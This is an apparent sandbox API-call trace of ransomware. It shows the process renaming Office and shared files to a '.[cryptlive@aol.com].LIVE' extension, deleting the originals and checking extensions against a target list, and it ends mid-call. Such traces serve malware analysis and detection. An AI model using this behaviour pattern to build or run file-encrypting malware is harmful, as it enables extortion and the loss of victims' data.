[0161.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.819] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.819] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.820] GetLastError () returned 0x0 [0161.821] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1ae8, lpOverlapped=0x0) returned 1 [0161.822] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0161.823] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.823] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.823] SetEndOfFile (hFile=0x380) returned 1 [0161.823] CloseHandle (hObject=0x380) returned 1 [0161.823] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.823] SetEndOfFile (hFile=0x1e0) returned 1 [0161.830] CloseHandle (hObject=0x1e0) returned 1 [0161.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0161.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.831] lstrlenW (lpString=".doc") returned 4 [0161.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.831] lstrlenW (lpString=".docx") returned 5 [0161.831] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.831] lstrlenW (lpString=".pdf") returned 4 [0161.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString=".xls") returned 4 [0161.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.832] lstrlenW (lpString=".xlsx") returned 5 [0161.832] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.832] lstrlenW (lpString=".ppt") returned 4 [0161.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString=".zip") returned 4 [0161.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.832] lstrlenW (lpString=".rar") returned 4 [0161.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString=".bz2") returned 4 [0161.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString=".7z") returned 3 [0161.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString=".dbf") returned 4 [0161.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString=".1cd") returned 4 [0161.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString=".jpg") returned 4 [0161.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.832] lstrlenW (lpString=".doc") returned 4 [0161.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString=".docx") returned 5 [0161.832] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.832] lstrlenW (lpString=".pdf") returned 4 [0161.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.832] lstrlenW (lpString=".xls") returned 4 [0161.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.832] lstrlenW (lpString=".xlsx") returned 5 [0161.833] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.833] lstrlenW (lpString=".ppt") returned 4 [0161.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.833] lstrlenW (lpString=".zip") returned 4 [0161.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.833] lstrlenW (lpString=".rar") returned 4 [0161.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.833] lstrlenW (lpString=".bz2") returned 4 [0161.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.833] lstrlenW (lpString=".7z") returned 3 [0161.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.833] lstrlenW (lpString=".dbf") returned 4 [0161.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.833] lstrlenW (lpString=".1cd") returned 4 [0161.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0161.833] lstrlenW (lpString=".jpg") returned 4 [0161.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.833] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.833] lstrlenW (lpString="J0172035.WMF") returned 12 [0161.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.834] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7448) returned 1 [0161.834] CloseHandle (hObject=0x1e0) returned 1 [0161.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0161.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.835] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.835] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.836] GetLastError () returned 0x0 [0161.836] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1d18, lpOverlapped=0x0) returned 1 [0161.837] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1d20, lpOverlapped=0x0) returned 1 [0161.838] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.838] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.838] SetEndOfFile (hFile=0x380) returned 1 [0161.839] CloseHandle (hObject=0x380) returned 1 [0161.839] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.839] SetEndOfFile (hFile=0x1e0) returned 1 [0161.841] CloseHandle (hObject=0x1e0) returned 1 [0161.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0161.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.842] lstrlenW (lpString=".doc") returned 4 [0161.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.842] lstrlenW (lpString=".docx") returned 5 [0161.842] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.842] lstrlenW (lpString=".pdf") returned 4 [0161.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.842] lstrlenW (lpString=".xls") returned 4 [0161.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.842] lstrlenW (lpString=".xlsx") returned 5 [0161.842] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.843] lstrlenW (lpString=".ppt") returned 4 [0161.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".zip") returned 4 [0161.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.843] lstrlenW (lpString=".rar") returned 4 [0161.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString=".bz2") returned 4 [0161.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString=".7z") returned 3 [0161.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".dbf") returned 4 [0161.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".1cd") returned 4 [0161.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".jpg") returned 4 [0161.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".doc") returned 4 [0161.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString=".docx") returned 5 [0161.843] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.843] lstrlenW (lpString=".pdf") returned 4 [0161.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString=".xls") returned 4 [0161.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.843] lstrlenW (lpString=".xlsx") returned 5 [0161.843] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.843] lstrlenW (lpString=".ppt") returned 4 [0161.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.843] lstrlenW (lpString=".zip") returned 4 [0161.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.844] lstrlenW (lpString=".rar") returned 4 [0161.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.844] lstrlenW (lpString=".bz2") returned 4 [0161.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.844] lstrlenW (lpString=".7z") returned 3 [0161.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.844] lstrlenW (lpString=".dbf") returned 4 [0161.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.844] lstrlenW (lpString=".1cd") returned 4 [0161.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0161.844] lstrlenW (lpString=".jpg") returned 4 [0161.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.844] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.844] lstrlenW (lpString="J0172067.WMF") returned 12 [0161.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0162.033] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7028) returned 1 [0162.033] CloseHandle (hObject=0x1f8) returned 1 [0162.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0162.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0162.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0162.034] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.034] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 54 os_tid = 0x660 [0126.682] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x960560 [0126.682] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x39b0048 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01a0 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed28 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01b8 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3ab0020 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01d0 [0126.683] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d01d0, Size=0x20) returned 0x8fdfe8 [0126.683] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01d0 [0126.683] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d01d0, Size=0x20) returned 0x8fe010 [0126.683] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.684] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.684] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff58 | out: OldValue=0x2d8ff58*=0x0) returned 1 [0126.684] lstrlenW (lpString="kernel32.dll") returned 12 [0126.684] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdfe8 | out: hHeap=0x880000) returned 1 [0126.684] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.684] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fe010 | out: hHeap=0x880000) returned 1 [0126.684] Sleep (dwMilliseconds=0x64) [0127.143] Sleep (dwMilliseconds=0x64) [0127.402] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.402] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0127.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.703] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9216) returned 1 [0129.703] CloseHandle (hObject=0x2fc) returned 1 [0129.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0129.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.703] lstrlenW (lpString=".doc") returned 4 [0129.703] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0129.703] lstrlenW (lpString=".docx") returned 5 [0129.703] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0129.703] lstrlenW (lpString=".pdf") returned 4 [0129.703] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0129.703] lstrlenW (lpString=".xls") returned 4 [0129.703] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0129.703] lstrlenW (lpString=".xlsx") returned 5 [0129.704] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0129.704] lstrlenW (lpString=".ppt") returned 4 [0129.704] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString=".zip") returned 4 [0129.704] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0129.704] lstrlenW (lpString=".rar") returned 4 [0129.704] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0129.704] lstrlenW (lpString=".bz2") returned 4 [0129.704] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0129.704] lstrlenW (lpString=".7z") returned 3 [0129.704] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString=".dbf") returned 4 [0129.704] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString=".1cd") returned 4 [0129.704] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString=".jpg") returned 4 [0129.704] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.704] lstrlenW (lpString=".doc") returned 4 [0129.705] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0129.705] lstrlenW (lpString=".docx") returned 5 [0129.705] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0129.705] lstrlenW (lpString=".pdf") returned 4 [0129.705] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0129.705] lstrlenW (lpString=".xls") returned 4 [0129.705] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0129.705] lstrlenW (lpString=".xlsx") returned 5 [0129.705] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0129.705] lstrlenW (lpString=".ppt") returned 4 [0129.705] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0129.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.705] lstrlenW (lpString=".zip") returned 4 [0129.705] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0129.705] lstrlenW (lpString=".rar") returned 4 [0129.705] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0129.705] lstrlenW (lpString=".bz2") returned 4 [0129.705] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0129.705] lstrlenW (lpString=".7z") returned 3 [0129.705] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0129.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.705] lstrlenW (lpString=".dbf") returned 4 [0129.705] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0129.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.705] lstrlenW (lpString=".1cd") returned 4 [0129.705] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0129.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0129.705] lstrlenW (lpString=".jpg") returned 4 [0129.705] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0129.706] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.706] lstrlenW (lpString="STINTL.DLL") returned 10 [0129.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 